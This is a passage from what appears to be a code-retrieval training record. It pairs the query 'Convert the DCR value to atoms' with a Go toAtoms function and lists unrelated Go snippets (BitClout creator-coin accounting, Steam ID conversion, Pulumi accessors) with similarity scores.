reward.\n\tcoinsBuyerGetsNanos := creatorCoinToMintNanos - creatorCoinFounderRewardNanos\n\n\t// If the coins the buyer is getting is less than the minimum threshold that\n\t// they expected to get, then the transaction is invalid. This prevents\n\t// front-running attacks, but it also prevents the buyer from getting a\n\t// terrible price.\n\t//\n\t// Note that when the min is set to zero it means we should skip this check.\n\tif txMeta.MinCreatorCoinExpectedNanos != 0 &&\n\t\tcoinsBuyerGetsNanos < txMeta.MinCreatorCoinExpectedNanos {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinLessThanMinimumSetByUser,\n\t\t\t\"_connectCreatorCoin: Amount that would be minted and given to user: \"+\n\t\t\t\t\"%v, amount that would be given to founder: %v, amount user needed: %v\",\n\t\t\tcoinsBuyerGetsNanos, creatorCoinFounderRewardNanos, txMeta.MinCreatorCoinExpectedNanos)\n\t}\n\n\t// If we get here, we are good to go. We will now update the balance of the\n\t// buyer and the creator (assuming we had a non-zero founderRewardNanos).\n\n\t// Look up a CreatorCoinBalanceEntry for the buyer and the creator. Create\n\t// an entry for each if one doesn't exist already.\n\tbuyerBalanceEntry, hodlerPKID, creatorPKID :=\n\t\tbav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\t\ttxn.PublicKey, existingProfileEntry.PublicKey)\n\tif buyerBalanceEntry == nil {\n\t\t// If there is no balance entry for this mapping yet then just create it.\n\t\t// In this case the balance will be zero.\n\t\tbuyerBalanceEntry = &BalanceEntry{\n\t\t\t// The person who created the txn is they buyer/hodler\n\t\t\tHODLerPKID: hodlerPKID,\n\t\t\t// The creator is the owner of the profile that corresponds to the coin.\n\t\t\tCreatorPKID: creatorPKID,\n\t\t\tBalanceNanos: uint64(0),\n\t\t}\n\t}\n\n\t// Get the balance entry for the creator. In this case the creator owns\n\t// their own coin and therefore the creator is also the HODLer. We need\n\t// this so we can pay the creator their founder reward. Note that we have\n\t// a special case when the creator is purchasing their own coin.\n\tvar creatorBalanceEntry *BalanceEntry\n\tif reflect.DeepEqual(txn.PublicKey, existingProfileEntry.PublicKey) {\n\t\t// If the creator is buying their own coin, don't fetch/create a\n\t\t// duplicate entry. If we didn't do this, we might wind up with two\n\t\t// duplicate BalanceEntrys when a creator is buying their own coin.\n\t\tcreatorBalanceEntry = buyerBalanceEntry\n\t} else {\n\t\t// In this case, the creator is distinct from the buyer, so fetch and\n\t\t// potentially create a new BalanceEntry for them rather than using the\n\t\t// existing one.\n\t\tcreatorBalanceEntry, hodlerPKID, creatorPKID = bav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\t\texistingProfileEntry.PublicKey, existingProfileEntry.PublicKey)\n\t\tif creatorBalanceEntry == nil {\n\t\t\t// If there is no balance entry then it means the creator doesn't own\n\t\t\t// any of their coin yet. In this case we create a new entry for them\n\t\t\t// with a zero balance.\n\t\t\tcreatorBalanceEntry = &BalanceEntry{\n\t\t\t\tHODLerPKID: hodlerPKID,\n\t\t\t\tCreatorPKID: creatorPKID,\n\t\t\t\tBalanceNanos: uint64(0),\n\t\t\t}\n\t\t}\n\t}\n\t// At this point we should have a BalanceEntry for the buyer and the creator.\n\t// These may be the same BalancEntry if the creator is buying their own coin,\n\t// but that is OK.\n\n\t// Save the previous balance entry before modifying it. If the creator is\n\t// buying their own coin, this will be the same BalanceEntry, which is fine.\n\tprevBuyerBalanceEntry := *buyerBalanceEntry\n\tprevCreatorBalanceEntry := *creatorBalanceEntry\n\n\t// Increase the buyer and the creator's balances by the amounts computed\n\t// previously. Always check for overflow.\n\tif buyerBalanceEntry.BalanceNanos > math.MaxUint64-coinsBuyerGetsNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"buyerBalanceEntry.BalanceNanos and coinsBuyerGetsNanos %v %v\",\n\t\t\tbuyerBalanceEntry.BalanceNanos, coinsBuyerGetsNanos)\n\t}\n\t// Check that if the buyer is receiving nanos for the first time, it's enough\n\t// to push them above the CreatorCoinAutoSellThresholdNanos threshold. This helps\n\t// prevent tiny amounts of nanos from drifting the ratio of creator coins to BitClout locked.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\tif buyerBalanceEntry.BalanceNanos == 0 && coinsBuyerGetsNanos != 0 &&\n\t\t\tcoinsBuyerGetsNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanosForBuyer\n\t\t}\n\t}\n\n\t// Check if this is the buyers first buy or first buy after a complete sell.\n\t// If it is, we increment the NumberOfHolders to reflect this value.\n\tif buyerBalanceEntry.BalanceNanos == 0 && coinsBuyerGetsNanos != 0 {\n\t\t// Increment number of holders by one to reflect the buyer\n\t\texistingProfileEntry.NumberOfHolders += 1\n\n\t\t// Update the profile to reflect the new number of holders\n\t\tbav._setProfileEntryMappings(existingProfileEntry)\n\t}\n\t// Finally increment the buyerBalanceEntry.BalanceNanos to reflect\n\t// the purchased coinsBuyerGetsNanos. If coinsBuyerGetsNanos is greater than 0, we set HasPurchased to true.\n\tbuyerBalanceEntry.BalanceNanos += coinsBuyerGetsNanos\n\tbuyerBalanceEntry.HasPurchased = true\n\n\t// If the creator is buying their own coin, this will just be modifying\n\t// the same pointer as the buyerBalanceEntry, which is what we want.\n\tif creatorBalanceEntry.BalanceNanos > math.MaxUint64-creatorCoinFounderRewardNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"creatorBalanceEntry.BalanceNanos and creatorCoinFounderRewardNanos %v %v\",\n\t\t\tcreatorBalanceEntry.BalanceNanos, creatorCoinFounderRewardNanos)\n\t}\n\t// Check that if the creator is receiving nanos for the first time, it's enough\n\t// to push them above the CreatorCoinAutoSellThresholdNanos threshold. This helps\n\t// prevent tiny amounts of nanos from drifting the effective creator coin reserve ratio drift.\n\tif creatorBalanceEntry.BalanceNanos == 0 &&\n\t\tcreatorCoinFounderRewardNanos != 0 &&\n\t\tcreatorCoinFounderRewardNanos < bav.Params.CreatorCoinAutoSellThresholdNanos &&\n\t\tblockHeight > SalomonFixBlockHeight {\n\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanosForCreator\n\t}\n\t// Check if the creator's balance is going from zero to non-zero and increment the NumberOfHolders if so.\n\tif creatorBalanceEntry.BalanceNanos == 0 && creatorCoinFounderRewardNanos != 0 {\n\t\t// Increment number of holders by one to reflect the creator\n\t\texistingProfileEntry.NumberOfHolders += 1\n\n\t\t// Update the profile to reflect the new number of holders\n\t\tbav._setProfileEntryMappings(existingProfileEntry)\n\t}\n\tcreatorBalanceEntry.BalanceNanos += creatorCoinFounderRewardNanos\n\n\t// At this point the balances for the buyer and the creator should be correct\n\t// so set the mappings in the view.\n\tbav._setBalanceEntryMappings(buyerBalanceEntry)\n\t// Avoid setting the same entry twice if the creator is buying their own coin.\n\tif buyerBalanceEntry != creatorBalanceEntry {\n\t\tbav._setBalanceEntryMappings(creatorBalanceEntry)\n\t}\n\n\t// Finally, if the creator is getting a bitclout founder reward, add a UTXO for it.\n\tvar outputKey *UtxoKey\n\tif blockHeight > BitCloutFounderRewardBlockHeight {\n\t\tif bitcloutFounderRewardNanos > 0 {\n\t\t\t// Create a new entry for this output and add it to the view. It should be\n\t\t\t// added at the end of the utxo list.\n\t\t\toutputKey = &UtxoKey{\n\t\t\t\tTxID: *txHash,\n\t\t\t\t// The output is like an extra virtual output at the end of the transaction.\n\t\t\t\tIndex: uint32(len(txn.TxOutputs)),\n\t\t\t}\n\n\t\t\tutxoEntry := UtxoEntry{\n\t\t\t\tAmountNanos: bitcloutFounderRewardNanos,\n\t\t\t\tPublicKey: existingProfileEntry.PublicKey,\n\t\t\t\tBlockHeight: blockHeight,\n\t\t\t\tUtxoType: UtxoTypeCreatorCoinFounderReward,\n\t\t\t\tUtxoKey: outputKey,\n\t\t\t\t// We leave the position unset and isSpent to false by default.\n\t\t\t\t// The position will be set in the call to _addUtxo.\n\t\t\t}\n\n\t\t\t_, err = bav._addUtxo(&utxoEntry)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(err, \"HelpConnectCreatorCoinBuy: Problem adding output utxo\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Add an operation to the list at the end indicating we've executed a\n\t// CreatorCoin txn. Save the previous state of the CoinEntry for easy\n\t// reversion during disconnect.\n\tutxoOpsForTxn = append(utxoOpsForTxn, &UtxoOperation{\n\t\tType: OperationTypeCreatorCoin,\n\t\tPrevCoinEntry: &prevCoinEntry,\n\t\tPrevTransactorBalanceEntry: &prevBuyerBalanceEntry,\n\t\tPrevCreatorBalanceEntry: &prevCreatorBalanceEntry,\n\t\tFounderRewardUtxoKey: outputKey,\n\t})\n\n\treturn totalInput, totalOutput, coinsBuyerGetsNanos, creatorCoinFounderRewardNanos, utxoOpsForTxn, nil\n}", "func markerIDwaypointID(markerID string) int64 {\n\ti, _ := strconv.ParseInt(\"0x\"+markerID[:6], 0, 64)\n\treturn i\n}", "func From64ToID(id64 uint64) string {\n\tid := new(big.Int).SetInt64(int64(id64))\n\tmagic, _ := new(big.Int).SetString(\"76561197960265728\", 10)\n\tid = id.Sub(id, magic)\n\tisServer := new(big.Int).And(id, big.NewInt(1))\n\tid = id.Sub(id, isServer)\n\tid = id.Div(id, big.NewInt(2))\n\treturn \"STEAM_0:\" + isServer.String() + \":\" + id.String()\n}", "func (gd *Definition) PointToCellID(x, y float64) int {\n\treturn gd.CellID(gd.PointToRowCol(x, y))\n}", "func (o AwsVpcPeeringConnectionOutput) AwsVpcPeeringConnectionId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *AwsVpcPeeringConnection) pulumi.StringOutput { return v.AwsVpcPeeringConnectionId }).(pulumi.StringOutput)\n}", "func convertAuditInfo(ai *asset.AuditInfo, chainParams *chaincfg.Params) (*auditInfo, error) {\n\tif ai.Coin == nil {\n\t\treturn nil, fmt.Errorf(\"no coin\")\n\t}\n\n\top, ok := ai.Coin.(*output)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"unknown coin type %T\", ai.Coin)\n\t}\n\n\trecip, err := stdaddr.DecodeAddress(ai.Recipient, chainParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &auditInfo{\n\t\toutput: op, // *output\n\t\trecipient: recip, // btcutil.Address\n\t\tcontract: ai.Contract, // []byte\n\t\tsecretHash: ai.SecretHash, // []byte\n\t\texpiration: ai.Expiration, // time.Time\n\t}, nil\n}", "func (b BridgedDenominator) ToVoucherCoin(amount uint64) sdk.Coin {\n\treturn sdk.NewInt64Coin(b.CosmosVoucherDenom.String(), int64(amount))\n}", "func ConvPbOutPoint(op *corepb.OutPoint) *types.OutPoint {\n\tif op == nil {\n\t\treturn nil\n\t}\n\thash := crypto.HashType{}\n\tcopy(hash[:], op.Hash[:])\n\treturn &types.OutPoint{\n\t\tHash: hash,\n\t\tIndex: op.Index,\n\t}\n}", "func (p *bitsharesAPI) GetChainID() objects.ChainID {\n\treturn p.chainID // return cached value\n}", "func toBlockNumArg(number *big.Int) string {\n\tif number == nil {\n\t\treturn \"latest\"\n\t}\n\tif number.Sign() >= 0 {\n\t\treturn hexutil.EncodeBig(number)\n\t}\n\t// It's negative.\n\treturn rpc.BlockNumber(number.Int64()).String()\n}", "func calculateLookupID(id uint64, metric string) string {\n\tasset := strconv.FormatUint(id, 10)\n\thash := sha256.New()\n\thash.Write([]byte(asset))\n\thash.Write([]byte(metric))\n\n\treturn hex.EncodeToString(hash.Sum(nil))\n}", "func BuildNodeContractPairID(node *client.ChainlinkK8sClient, ocrInstance contracts.OffchainAggregator) (string, error) {\n\tif node == nil {\n\t\treturn \"\", fmt.Errorf(\"chainlink node is nil\")\n\t}\n\tif ocrInstance == nil {\n\t\treturn \"\", fmt.Errorf(\"OCR Instance is nil\")\n\t}\n\tnodeAddress, err := node.PrimaryEthAddress()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"getting chainlink node's primary ETH address failed: %w\", err)\n\t}\n\tshortNodeAddr := nodeAddress[2:12]\n\tshortOCRAddr := ocrInstance.Address()[2:12]\n\treturn strings.ToLower(fmt.Sprintf(\"node_%s_contract_%s\", shortNodeAddr, shortOCRAddr)), nil\n}", "func (o BucketOwnerOutput) EntityId() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BucketOwner) *string { return v.EntityId }).(pulumi.StringPtrOutput)\n}", "func (o PartnerOutput) AccountId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Partner) pulumi.StringOutput { return v.AccountId }).(pulumi.StringOutput)\n}" ]
[ "0.699069", "0.699069", "0.699069", "0.6849971", "0.6647042", "0.5780764", "0.5748355", "0.5586011", "0.5458626", "0.5452238", "0.5452238", "0.5444285", "0.5424757", "0.5423626", "0.5360309", "0.53461546", "0.5259709", "0.5259709", "0.5259709", "0.5242078", "0.5229691", "0.5218671", "0.5206011", "0.519799", "0.519799", "0.5197032", "0.51791215", "0.51791215", "0.5174851", "0.51531285", "0.51513445", "0.51359344", "0.51150346", "0.51139414", "0.5069504", "0.50651526", "0.5029235", "0.49682224", "0.49601173", "0.49306932", "0.49089205", "0.49078995", "0.49052846", "0.4890539", "0.48884994", "0.48884436", "0.48655778", "0.48655778", "0.48655778", "0.48390964", "0.4826515", "0.48238158", "0.48176342", "0.47980863", "0.4760108", "0.47513065", "0.47441742", "0.4740338", "0.47253376", "0.4712978", "0.47074452", "0.46943805", "0.4682905", "0.46827632", "0.46579126", "0.465479", "0.46401584", "0.46358782", "0.46314064", "0.462142", "0.461977", "0.46174413", "0.4607518", "0.45966828", "0.4594476", "0.459073", "0.4584903", "0.45845088", "0.45784673", "0.45703366", "0.4568466", "0.45676485", "0.45325708", "0.45305815", "0.4523084", "0.45010912", "0.44976947", "0.449399", "0.44923684", "0.4486973", "0.4470142", "0.4466138", "0.44617224", "0.44574636", "0.44484782", "0.44459534", "0.44435066", "0.44413078", "0.44363758", "0.44355744" ]
0.69547534
3
Convert the DCR value to atoms.
func toAtoms(v float64) uint64 { return uint64(math.Round(v * 1e8)) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func toAtoms(v float64) uint64 {\n\treturn uint64(math.Round(v * conventionalConversionFactor))\n}", "func PropValAtoms(xu *xgbutil.XUtil, reply *xproto.GetPropertyReply,\n\terr error) ([]string, error) {\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif reply.Format != 32 {\n\t\treturn nil, fmt.Errorf(\"PropValAtoms: Expected format 32 but got %d\",\n\t\t\treply.Format)\n\t}\n\n\tids := make([]string, reply.ValueLen)\n\tvals := reply.Value\n\tfor i := 0; len(vals) >= 4; i++ {\n\t\tids[i], err = AtomName(xu, xproto.Atom(xgb.Get32(vals)))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvals = vals[4:]\n\t}\n\treturn ids, nil\n}", "func StrToAtoms(xu *xgbutil.XUtil, atomNames []string) ([]uint, error) {\n\tvar err error\n\tatoms := make([]uint, len(atomNames))\n\tfor i, atomName := range atomNames {\n\t\ta, err := Atom(xu, atomName, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tatoms[i] = uint(a)\n\t}\n\treturn atoms, err\n}", "func Value2CDATA(v string) models.CDATAText {\n\treturn models.CDATAText{Text: v}\n}", "func (o *Orbit) ToXCentric(b CelestialObject, dt time.Time) {\n\tif o.Origin.Name == b.Name {\n\t\tpanic(fmt.Errorf(\"already in orbit around %s\", b.Name))\n\t}\n\n\t// Using SPICE for the conversion.\n\tstate := make([]float64, 6)\n\tfor i := 0; i < 3; i++ {\n\t\tstate[i] = o.rVec[i]\n\t\tstate[i+3] = o.vVec[i]\n\t}\n\ttoFrame := \"IAU_\" + b.Name\n\tif b.Equals(Sun) {\n\t\ttoFrame = \"ECLIPJ2000\"\n\t}\n\tfromFrame := \"IAU_\" + o.Origin.Name\n\tif o.Origin.Equals(Sun) {\n\t\tfromFrame = \"ECLIPJ2000\"\n\t}\n\tpstate := smdConfig().ChgFrame(toFrame, fromFrame, dt, state)\n\to.rVec = pstate.R\n\to.vVec = pstate.V\n\n\to.Origin = b // Don't forget to switch origin\n}", "func (o EnvironmentDaprComponentMetadataOutput) Value() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v EnvironmentDaprComponentMetadata) *string { return v.Value }).(pulumi.StringPtrOutput)\n}", "func toDCR(v uint64) float64 {\n\treturn dcrutil.Amount(v).ToCoin()\n}", "func toDCR(v uint64) float64 {\n\treturn dcrutil.Amount(v).ToCoin()\n}", "func PropValAtom(xu *xgbutil.XUtil, reply *xproto.GetPropertyReply,\n\terr error) (string, error) {\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif reply.Format != 32 {\n\t\treturn \"\", fmt.Errorf(\"PropValAtom: Expected format 32 but got %d\",\n\t\t\treply.Format)\n\t}\n\n\treturn AtomName(xu, xproto.Atom(xgb.Get32(reply.Value)))\n}", "func (f *Feed) ToAtom() (string, error) {\n\treturn f.convert().ToAtom()\n}", "func (cmd *MonitorStatus) ValueAsLit() string {\n\treturn fmt.Sprintf(\n\t\t\"{\\\"mil_active\\\": %t, \\\"dts_amount\\\": %d\",\n\t\tcmd.MilActive,\n\t\tcmd.DtcAmount,\n\t)\n}", "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid: //表示没有任何值,reflect.Value的零值属于Invalid类型\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16, //基础类型\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, //基础类型\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\t// ...floating-point and complex cases omitted for brevity...\n\tcase reflect.Bool: //基础类型\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String: //基础类型\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map: //引用类型\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\t//聚合类型 和 接口类型\n\t\t//这个分支处理的不够完善\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "func (coercer *booleanCoercer) CoerceResultValue(value interface{}) (interface{}, error) {\n\treturn coercer.Coerce(value, typeutil.CoercionContext{\n\t\tMode: typeutil.ResultCoercionMode,\n\t})\n}", "func balanceXdrToProto(amountXdr xdr.Int64, assetXdr xdr.Asset) (amt string, asset stellar1.Asset, err error) {\n\tunpad := func(in []byte) (out string) {\n\t\treturn strings.TrimRight(string(in), string([]byte{0}))\n\t}\n\tamt = amount.String(amountXdr)\n\tswitch assetXdr.Type {\n\tcase xdr.AssetTypeAssetTypeNative:\n\t\treturn amt, stellar1.AssetNative(), nil\n\tcase xdr.AssetTypeAssetTypeCreditAlphanum4:\n\t\tif assetXdr.AlphaNum4 == nil {\n\t\t\treturn amt, asset, fmt.Errorf(\"missing alphanum4\")\n\t\t}\n\t\treturn amt, stellar1.Asset{\n\t\t\tType: \"credit_alphanum4\",\n\t\t\tCode: unpad(assetXdr.AlphaNum4.AssetCode[:]),\n\t\t\tIssuer: assetXdr.AlphaNum4.Issuer.Address(),\n\t\t}, nil\n\tcase xdr.AssetTypeAssetTypeCreditAlphanum12:\n\t\tif assetXdr.AlphaNum12 == nil {\n\t\t\treturn amt, asset, fmt.Errorf(\"missing alphanum12\")\n\t\t}\n\t\treturn amt, stellar1.Asset{\n\t\t\tType: \"credit_alphanum12\",\n\t\t\tCode: unpad(assetXdr.AlphaNum12.AssetCode[:]),\n\t\t\tIssuer: assetXdr.AlphaNum12.Issuer.Address(),\n\t\t}, nil\n\tdefault:\n\t\treturn amt, asset, fmt.Errorf(\"unsupported asset type: %v\", assetXdr.Type)\n\t}\n}", "func (o GoogleCloudRetailV2alphaConditionQueryTermOutput) Value() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GoogleCloudRetailV2alphaConditionQueryTerm) *string { return v.Value }).(pulumi.StringPtrOutput)\n}", "func (t *Track) buildAtoms(atoms ...string) ([]byte, error) {\n\treturn t.builder.build(*t, atoms...)\n}", "func (a *atom) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(struct {\n\t\tPid string\n\t\tValue string\n\t}{\n\t\tPid: a.Pid.Encode(),\n\t\tValue: a.Value,\n\t})\n}", "func newAtom(mol *Molecule, atNum uint8, iId int) *_Atom {\n\tatom := new(_Atom)\n\tatom.mol = mol\n\tatom.atNum = atNum\n\tatom.iId = uint16(iId)\n\n\tel := cmn.PeriodicTable[cmn.ElementSymbols[atNum]]\n\tatom.symbol = el.Symbol\n\tatom.valence = el.Valence\n\n\tatom.bonds = bits.New(cmn.MaxBonds)\n\tatom.nbrs = make([]uint16, 0, cmn.MaxBonds)\n\tatom.rings = bits.New(cmn.MaxRings)\n\n\tatom.features = make([]uint16, 0, cmn.MaxFeatures)\n\n\treturn atom\n}", "func AsAtom(f Field) string {\n\tif v, ok := f.(string); ok && !Quoted(f) {\n\t\treturn v\n\t}\n\treturn \"\"\n}", "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16,\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16,\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\t\t// ...floating-point and complex cases omitted for brevity...\n\tcase reflect.Bool:\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String:\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "func (z *E12) ToMont() *E12 {\n\tz.C0.ToMont()\n\tz.C1.ToMont()\n\treturn z\n}", "func (nData *NaiveData) Value() []gotypes.Value {\n\treturn nData.Val\n}", "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16,\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16,\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\t\t// ...floating-point and complex cases omitted for brevity...\n\tcase reflect.Bool:\n\t\tif v.Bool() {\n\t\t\treturn \"true\"\n\t\t}\n\t\treturn \"false\"\n\tcase reflect.String:\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr,\n\t\treflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "func (iter *radixIterator) Value() []byte {\n\t_, dbv, _ := memdb.KVFromObject(iter.cursor)\n\treturn dbv\n}", "func (me TcoordinatesType) Values() (list []xsdt.String) {\r\n\tsvals := xsdt.ListValues(string(me))\r\n\tlist = make([]xsdt.String, len(svals))\r\n\tfor i, s := range svals {\r\n\t\tlist[i].Set(s)\r\n\t}\r\n\treturn\r\n}", "func (directoryEntryValueV1 *DirectoryEntryValueV1Struct) MarshalDirectoryEntryValueV1() (directoryEntryValueV1Buf []byte, err error) {\n\tdirectoryEntryValueV1Buf, err = directoryEntryValueV1.marshalDirectoryEntryValueV1()\n\treturn\n}", "func (o GoogleCloudRetailV2alphaConditionQueryTermResponseOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GoogleCloudRetailV2alphaConditionQueryTermResponse) string { return v.Value }).(pulumi.StringOutput)\n}", "func valueToXpc(val reflect.Value) C.xpc_object_t {\n\tif !val.IsValid() {\n\t\treturn nil\n\t}\n\n\tvar xv C.xpc_object_t\n\n\tswitch val.Kind() {\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\txv = C.xpc_int64_create(C.int64_t(val.Int()))\n\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32:\n\t\txv = C.xpc_int64_create(C.int64_t(val.Uint()))\n\n\tcase reflect.String:\n\t\txv = C.xpc_string_create(C.CString(val.String()))\n\n\tcase reflect.Map:\n\t\txv = C.xpc_dictionary_create(nil, nil, 0)\n\t\tfor _, k := range val.MapKeys() {\n\t\t\tv := valueToXpc(val.MapIndex(k))\n\t\t\tC.xpc_dictionary_set_value(xv, C.CString(k.String()), v)\n\t\t\tif v != nil {\n\t\t\t\tC.xpc_release(v)\n\t\t\t}\n\t\t}\n\n\tcase reflect.Array, reflect.Slice:\n\t\tif val.Type() == typeOfUUID {\n\t\t\t// Array of bytes\n\t\t\tvar uuid [16]byte\n\t\t\treflect.Copy(reflect.ValueOf(uuid[:]), val)\n\t\t\txv = C.xpc_uuid_create(C.ptr_to_uuid(unsafe.Pointer(&uuid[0])))\n\t\t} else if val.Type() == typeOfBytes {\n\t\t\t// slice of bytes\n\t\t\txv = C.xpc_data_create(unsafe.Pointer(val.Pointer()), C.size_t(val.Len()))\n\t\t} else {\n\t\t\txv = C.xpc_array_create(nil, 0)\n\t\t\tl := val.Len()\n\n\t\t\tfor i := 0; i < l; i++ {\n\t\t\t\tv := valueToXpc(val.Index(i))\n\t\t\t\tC.xpc_array_append_value(xv, v)\n\t\t\t\tif v != nil {\n\t\t\t\t\tC.xpc_release(v)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase reflect.Interface, reflect.Ptr:\n\t\txv = valueToXpc(val.Elem())\n\n\tdefault:\n\t\tlog.Fatalf(\"unsupported %#v\", val.String())\n\t}\n\n\treturn xv\n}", "func (o RegistryTaskEncodedStepOutput) ValueContent() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegistryTaskEncodedStep) *string { return v.ValueContent }).(pulumi.StringPtrOutput)\n}", "func (o DiagnosticFrontendResponseDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticFrontendResponseDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func (o DiagnosticFrontendRequestDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticFrontendRequestDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func atom2string(atom gaesearch.Atom) string {\n\treturn string(atom)\n}", "func (o ApiDiagnosticFrontendResponseDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApiDiagnosticFrontendResponseDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func uamps(value string) electricValue {\n\treturn electricValue{fromMicroStr(value), false}\n}", "func (c *Cell) FormattedValue() string {\n\tvar numberFormat = c.GetNumberFormat()\n\tswitch numberFormat {\n\tcase \"general\", \"@\":\n\t\treturn c.Value\n\tcase \"0\", \"#,##0\":\n\t\treturn c.formatToInt(\"%d\")\n\tcase \"0.00\", \"#,##0.00\":\n\t\treturn c.formatToFloat(\"%.2f\")\n\tcase \"#,##0 ;(#,##0)\", \"#,##0 ;[red](#,##0)\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tif f < 0 {\n\t\t\ti := int(math.Abs(f))\n\t\t\treturn fmt.Sprintf(\"(%d)\", i)\n\t\t}\n\t\ti := int(f)\n\t\treturn fmt.Sprintf(\"%d\", i)\n\tcase \"#,##0.00;(#,##0.00)\", \"#,##0.00;[red](#,##0.00)\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tif f < 0 {\n\t\t\treturn fmt.Sprintf(\"(%.2f)\", f)\n\t\t}\n\t\treturn fmt.Sprintf(\"%.2f\", f)\n\tcase \"0%\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tf = f * 100\n\t\treturn fmt.Sprintf(\"%d%%\", int(f))\n\tcase \"0.00%\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tf = f * 100\n\t\treturn fmt.Sprintf(\"%.2f%%\", f)\n\tcase \"0.00e+00\", \"##0.0e+0\":\n\t\treturn c.formatToFloat(\"%e\")\n\tcase \"mm-dd-yy\":\n\t\treturn c.formatToTime(\"01-02-06\")\n\tcase \"d-mmm-yy\":\n\t\treturn c.formatToTime(\"2-Jan-06\")\n\tcase \"d-mmm\":\n\t\treturn c.formatToTime(\"2-Jan\")\n\tcase \"mmm-yy\":\n\t\treturn 